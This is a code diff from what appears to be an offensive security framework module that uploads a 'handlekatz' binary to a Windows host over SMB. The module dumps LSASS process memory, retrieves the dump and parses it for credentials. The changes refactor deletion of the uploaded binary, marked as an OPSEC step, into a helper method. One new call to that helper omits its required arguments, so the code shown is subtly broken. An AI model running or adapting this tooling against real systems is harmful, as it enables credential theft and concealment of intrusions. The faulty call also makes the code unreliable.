@@ -50,7 +50,7 @@ def options(self, context, module_options):
5050
5151 def on_admin_login (self , context , connection ):
5252 handlekatz_loc = self .handlekatz_path + self .handlekatz
53-
53+
5454 if self .useembeded :
5555 try :
5656 with open (handlekatz_loc , "wb" ) as handlekatz :
@@ -78,6 +78,7 @@ def on_admin_login(self, context, connection):
7878
7979 if not p or p == "None" :
8080 context .log .fail ("Failed to execute command to get LSASS PID" )
81+ self .delete_handlekatz_binary (connection , context )
8182 return
8283 # we get a CSV string back from `tasklist`, so we grab the PID from it
8384 pid = p .split ("," )[1 ][1 :- 1 ]
@@ -96,12 +97,15 @@ def on_admin_login(self, context, connection):
9697 context .log .fail ("Process lsass.exe error un dump, try with verbose" )
9798 dump = False
9899
99- if dump :
100+ if not dump :
101+ self .delete_handlekatz_binary (connection , context )
102+ return
103+ else :
100104 regex = r"([A-Za-z0-9-]*\.log)"
101105 matches = re .search (regex , str (p ), re .MULTILINE )
102106 if not matches :
103107 context .log .display ("Error getting the lsass.dmp file name" )
104- sys . exit ( 1 )
108+ return
105109
106110 machine_name = matches .group ()
107111 context .log .display (f"Copy { machine_name } to host" )
@@ -113,12 +117,7 @@ def on_admin_login(self, context, connection):
113117 except Exception as e :
114118 context .log .fail (f"Error while get file: { e } " )
115119
116- try :
117- connection .conn .deleteFile (self .share , self .tmp_share + self .handlekatz )
118- context .log .success (f"Deleted handlekatz file on the { self .share } share" )
119- except Exception as e :
120- context .log .fail (f"[OPSEC] Error deleting handlekatz file on share { self .share } : { e } " )
121-
120+ self .delete_handlekatz_binary ()
122121 try :
123122 connection .conn .deleteFile (self .share , self .tmp_share + machine_name )
124123 context .log .success (f"Deleted lsass.dmp file on the { self .share } share" )
@@ -182,3 +181,10 @@ def on_admin_login(self, context, connection):
182181 add_user_bh (credz_bh , None , context .log , connection .config )
183182 except Exception as e :
184183 context .log .fail (f"Error opening dump file: { e } " )
184+
185+ def delete_handlekatz_binary (self , connection , context ):
186+ try :
187+ connection .conn .deleteFile (self .share , self .tmp_share + self .handlekatz )
188+ context .log .success (f"Deleted handlekatz file on the { self .share } share" )
189+ except Exception as e :
190+ context .log .fail (f"[OPSEC] Error deleting handlekatz file on share { self .share } : { e } " )
0 commit comments